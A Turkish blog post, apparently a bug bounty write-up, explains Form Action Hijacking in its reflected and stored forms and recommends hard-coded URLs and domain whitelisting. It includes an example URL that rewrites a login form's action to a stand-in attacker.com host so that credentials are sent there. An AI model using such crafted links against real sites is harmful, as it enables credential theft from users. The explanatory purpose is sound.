
Form'daki action adresini değiştirerek nasıl Form Action Hijacking gerçekleştirdim?
Form'daki action adresini değiştirerek nasıl Form Action Hijacking gerçekleştirdim?
Aşağıda okuyacağınız yazı, bir etik hacker ve güvenlik araştırmacısının özel bir bug bounty programı üzerindeki zafiyet keşif süreciyle ilgili kişisel bir raporudur.
Bu araştırmacı, bu zafiyetle ilgili raporu yaklaşık 7 ay önce özel bir bug bounty programına sunmuş olup, şu anda bu güvenlik açığı giderilmiştir.
Sistemlerin Form Action Hijacking Açığına Karşı Savunmasız Olma Şekli:
Form Action Hijacking (Form Eylem Yönlendirme) açığı, bir saldırganın URL içinde bulunan bir parametreyi kullanarak HTML sayfasındaki bir "form" etiketinin "action" (eylem) özelliğini değiştirmesine olanak tanır. Saldırgan, elindeki bir alan adı ve buna bağlı olarak URL’yi değiştirerek formun gönderileceği adresi kontrol altına alabilir.
Kullanıcı, saldırganın değiştirdiği bu URL’ye tıkladığında, form ile iletilen tüm bilgiler (hatta CSRF Token dahil) saldırganın belirlediği adrese gönderilir.
Form Action Hijacking Açığı Türleri:
-
Reflected (Yansıyan)
-
Stored (Depolanmış)
Aşağıda bu iki türü detaylandırıyoruz:
Reflected (Yansıyan) Türü:
Bu tür açık, istemci (client) tarafında, yani tarayıcıda gerçekleşir. Eğer saldırgan, URL üzerinde değişiklik yaparsa ve kurban bu URL’ye tıklarsa, formun "action" değeri saldırganın belirlediği şekilde değişir.
Örnek olarak bir kullanıcı giriş sayfasını düşünelim:
1https://mydomain.com/login
1<form method="post" action="login" enctype="application/x-www-form-urlencoded"> 2 3 4 5<input type="hidden" name="username" value="" /> 6 7 8 9<input type="hidden" name="password" value="" /> 10 11 12 13</form> 14
Bu istek sunucuya gönderildiğinde, kullanıcı giriş sayfası görüntülenir.
Yukarıdaki örnekte, "action=login" olarak ayarlandığını görüyoruz.
Ancak bu URL'yi aşağıdaki şekilde değiştirirsek:
1https://mydomain.com/login/attacker.com
1<form method="post" action="attacker.com" enctype="application/x-www-form-urlencoded"> 2 3 4 5<input type="hidden" name="username" value="" /> 6 7 8 9<input type="hidden" name="password" value="" /> 10 11 12 13</form> 14
"action" değeri artık "attacker.com" olur. Eğer bir kullanıcı bu formu gönderirse, kullanıcı adı ve şifresi attacker.com adresine iletilir. Bu durum, kullanıcı hesabının ele geçirilmesine ve bilgilerin sızdırılmasına yol açar.

Not:
-
Kırmızı çizgi: Güvenlik açığına neden olan kod satırı
-
Yeşil çizgi: Güvenli kod satırı
Stored (Depolanmış) Türü:
Bazı sitelerde kullanıcıların kendi URL’lerini tanımlayabilmeleri mümkündür. Örneğin; makale yayınlanan platformlar veya haber siteleri gibi.
Bu tür sitelerde URL şu şekilde tanımlanabilir:
1https://mydomain.com/please_find_me
Bu durumda "action" değeri "please_find_me" olur. Bu URL daha önceden içerik üreticisi (Güvenlik Araştırmacısı) tarafından tanımlanmıştır ve saldırganın kendi sitesinin adresini girerek bu alanı kötüye kullanmasına olanak tanır.
Form Action Hijacking Açığından Korunmak İçin İki Önemli Öneri:
-
Tüm URL’lerin sabit (hard-coded) olarak tanımlanması
-
Yalnızca izin verilen alan adlarını içeren bir beyaz liste (Whitelist) kullanılması
Form Action Hijacking güvenlik açığı hakkında daha fazla bilgi edinmek için aşağıdaki kaynakları okumanızı tavsiye ediyoruz:
Form action hijacking (reflected) - PortSwigger